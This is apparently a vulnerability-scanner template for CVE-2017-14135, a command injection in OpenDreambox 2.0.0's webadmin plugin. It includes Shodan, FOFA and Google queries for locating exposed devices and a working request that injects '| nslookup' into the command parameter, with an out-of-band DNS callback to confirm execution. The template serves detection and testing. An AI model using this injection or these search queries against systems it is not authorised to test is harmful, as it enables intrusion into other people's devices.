OpenDreambox 2.0.0 - Remote Code Execution

id: CVE-2017-14135

info:
  name: OpenDreambox 2.0.0 - Remote Code Execution
  author: alph4byt3
  severity: critical
  description: OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of OpenDreambox.
  reference:
    - https://the-infosec.com/2017/05/12/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://www.exploit-db.com/exploits/42293
    - https://nvd.nist.gov/vuln/detail/CVE-2017-14135
    - https://the-infosec.com/2017/07/05/from-shodan-to-rce-opendreambox-2-0-0-code-execution/
    - https://github.com/qazbnm456/awesome-cve-poc
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-14135
    cwe-id: CWE-78
    epss-score: 0.90088
    epss-percentile: 0.99604
    cpe: cpe:2.3:a:dreambox:opendreambox:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dreambox
    product: opendreambox
    shodan-query:
      - title:"Dreambox WebControl"
      - http.title:"dreambox webcontrol"
    fofa-query: title="dreambox webcontrol"
    google-query: intitle:"dreambox webcontrol"
  tags: cve,cve2017,dreambox,rce,oast,edb,vkev,vuln

http:
  - raw:
      - |
        GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "/bin/sh"
          - "/usr/script"
        condition: and

      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
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